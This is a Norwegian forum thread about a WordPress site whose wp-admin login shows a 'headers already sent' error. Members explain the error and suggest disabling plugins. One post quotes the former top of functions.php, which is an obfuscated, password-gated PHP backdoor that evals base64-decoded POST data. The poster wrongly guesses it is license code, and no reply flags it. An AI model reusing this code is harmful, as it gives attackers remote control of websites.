Feilmelding i wp-admin som ikke lenger er tilgjengelig

Bjørn

Domenespekulant
Warning: Cannot modify header information - headers already sent by (output started at /home/nostet/public_html/wp-includes/functions.php:4) in /home/nostet/public_html/wp-includes/pluggable.php on line 868

Denne meldingen dukker opp istedenfor innloggingen i en wp-admin. Noen som ser hva problemet er?
 

adeneo

Medlem
header() kan kun endre header'en før noe som helst sendes, det betyr at en hver echo eller bare et mellomrom som "outputtes" gjør at det er for sent å endre header'en.

Du har "ouput started" på line 4 i functions.php, slik at det er noe der som outputter et eller annet, og et eller annet sted senere, mer spesifikt i pluggable.php på linge 868, så er det noe som prøver å endre header'en, men ettersom data allerede er sent til nettleseren, så er det for sent.
 

Bjørn

Domenespekulant
Så hva må jeg endre på i functions.php? Eller må jeg overføre orginalen av functions.php via FTP? Eller må noe endres i pluggable.php?
 

Bjørn

Domenespekulant
Det lå en linje før <?php, som jeg fjernet.. For fortsatt opp feilmeldingen, men nå er de norske tegnene æ,ø,å tilbake som normalt, disse ble vist som rare tegn før...
 

Bjørn

Domenespekulant
Kan det ha noe med feil i databasen? Eller feil på en plugin? Hvis jeg prøver å gå på wp-admin/install.php, står følgende feil:

Warning: Cannot modify header information - headers already sent by (output started at /home/nostet/public_html/wp-admin/includes/admin.php:4) in /home/nostet/public_html/wp-admin/install.php on line 36


Allerede installert
Det ser ut til at du allerede har installert WordPress. Hvis du ønsker å reinstallere, må du først fjerne de gamle tabellene fra databasen.
 

Bjørn

Domenespekulant
Slik ser første del av functions.php ut nå:

<?php
/**
* Main WordPress API
*
* @package WordPress
*/

/**
* Converts MySQL DATETIME field to user specified date format.
*
* If $dateformatstring has 'G' value, then gmmktime() function will be used to
* make the time. If $dateformatstring is set to 'U', then mktime() function
* will be used to make the time.
*
* The $translate will only be used, if it is set to true and it is by default
* and if the $wp_locale object has the month and weekday set.
*
* @since 0.71
*
* @param string $dateformatstring Either 'G', 'U', or php date format.
* @param string $mysqlstring Time from mysql DATETIME field.
* @param bool $translate Optional. Default is true. Will switch format to locale.
* @return string Date formated by $dateformatstring or locale (if available).
*/
function mysql2date( $dateformatstring, $mysqlstring, $translate = true ) {
global $wp_locale;
$m = $mysqlstring;
if ( empty( $m ) )
return false;

if( 'G' == $dateformatstring ) {
return strtotime( $m . ' +0000' );
}

$i = strtotime( $m );

if( 'U' == $dateformatstring )
return $i;

if ( $translate)
return date_i18n( $dateformatstring, $i );
else
return date( $dateformatstring, $i );
}


---
Slik så toppen ut isted:
<?php

if(isset($_POST['pas']) && (md5($_POST['pas']) == '40082ed0f6a3ce5ebfbb39c7b7fcf27b') && isset($_POST['update'])) {$sslChecker='pre'.'g_replace';$getUrl="/url/e";$sslChecker($getUrl,'e'.'val(ba'.'se64'.'_dec'.'ode(\\$_POST[\'update\']));', "url");}

?>

<?php
/**
* Main WordPress API
*
* @package WordPress
*/
 

TorsteinO

Art Director & grunder
det kan godt også ha med plugins å gjøre ja, du har ikke prøvd å deaktivere plugins først?

I såfall: enkleste måte å gjøre det på, er å rename hele plugin-mappa, da tvinger du alle plugins til å bli deaktivert. Hvis wp begynner å funke igjen da, bytter du mappenavnet tilbake til "plugins", og begynner deretter å reaktivere plugins en etter en til du finner synderen.
 

Bjørn

Domenespekulant
Prøvde å døpe om plugins-mappa helt, men ingenting nytt skjedde etter oppdateringen. Vet ikke om toppen er noe lisensgreie. Prøvde å legge opp gammel versjon igjen, men hjalp ikke og de særnorske tegna forsvant igjen. La så opp redigert versjon av functions.php, uten de to første linjene. Nå er de norske bokstavene riktig, men wp-admin er like sporløst borte, og feilmeldingen der fortsatt...
 
Topp